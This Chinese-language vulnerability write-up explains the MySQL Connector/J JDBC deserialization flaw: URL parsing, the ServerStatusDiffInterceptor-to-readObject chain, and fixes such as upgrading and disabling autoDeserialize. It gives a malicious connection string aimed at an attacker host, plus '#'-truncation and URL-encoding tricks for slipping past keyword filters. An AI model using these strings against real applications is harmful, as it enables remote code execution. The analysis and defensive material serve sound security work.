Jdbc反序列化[绕过|修复|分析]
字数 1081 2025-08-10 13:48:29
MySQL JDBC反序列化漏洞分析与防护指南
一、漏洞背景
MySQL JDBC驱动在特定配置下存在反序列化漏洞,攻击者可通过精心构造的连接字符串触发该漏洞,导致远程代码执行。本文基于MySQL Connector/J 8.0.14版本进行分析。
二、JDBC标准连接流程
Oracle定义的JDBC标准连接流程如下:
-
注册数据库驱动:
Class.forName("com.mysql.cj.jdbc.Driver"); -
建立数据库连接:
Connection con = DriverManager.getConnection(url, properties);
三、MySQL JDBC连接流程分析
1. 连接处理流程
-
连接字符串解析:
- 使用正则提取
jdbc:mysql:作为scheme - 将连接URL转换为
ConnectionUrl对象 - 解析为以下部分:
- scheme
- authority
- path
- query
- fragment
- 使用正则提取
-
关键解析点:
#后面的内容被视为fragment,可用于截断URL- 如果设置了
useConfigs参数,会读取配置文件 - URL参数会被URL解码(key和value都会解码)
getConnection传入的Properties会覆盖URL中的同名参数
-
特殊协议处理:
- 当设置
protocol=PIPE和path参数时,会在path位置创建PIPE文件
- 当设置
2. 反序列化触发点
反序列化漏洞主要涉及以下组件和流程:
-
查询拦截器机制:
- 通过
queryInterceptors参数指定SQL查询结果处理器 - 设置为
com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor时触发漏洞
- 通过
-
漏洞触发链:
ServerStatusDiffInterceptor.postProcess() → populateMapWithSessionStatusValues() → ResultSetUtil.resultSetToMap() → ResultSetImpl.getObject() → objIn.readObject() [当autoDeserialize=true且数据类型为BLOB时]
四、漏洞利用与绕过技巧
1. 基本利用方式
jdbc:mysql://attacker_ip:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor
2. 关键字绕过技术
-
使用#号截断:
jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor# -
URL编码绕过:
- 单次编码:
%61utoDeserialize=true - 双重编码:
%2561utoDeserialize=true
- 单次编码:
五、修复方案
1. 升级驱动版本
升级到MySQL Connector/J 8.0.21或更高版本,该版本中:
ServerStatusDiffInterceptor不再使用getObject- 改为使用
getString方法
2. 代码层防护
在代码中显式设置autoDeserialize为false:
String url = "jdbc:mysql://127.0.0.1:3306/test";
Properties properties = new Properties();
properties.setProperty("autoDeserialize", "false");
properties.setProperty("user", "username");
properties.setProperty("password", "password");
Connection con = DriverManager.getConnection(url, properties);
3. 其他防护措施
- 限制JDBC连接字符串来源
- 对用户输入的连接参数进行严格过滤
- 使用白名单机制限制允许的queryInterceptors类
六、总结
MySQL JDBC反序列化漏洞主要源于:
- 查询拦截器机制的设计缺陷
- 自动反序列化功能的危险性
- 连接字符串解析的不严谨性
防护要点:
- 及时升级驱动版本
- 禁用危险功能(autoDeserialize)
- 严格控制连接参数输入
- 实施最小权限原则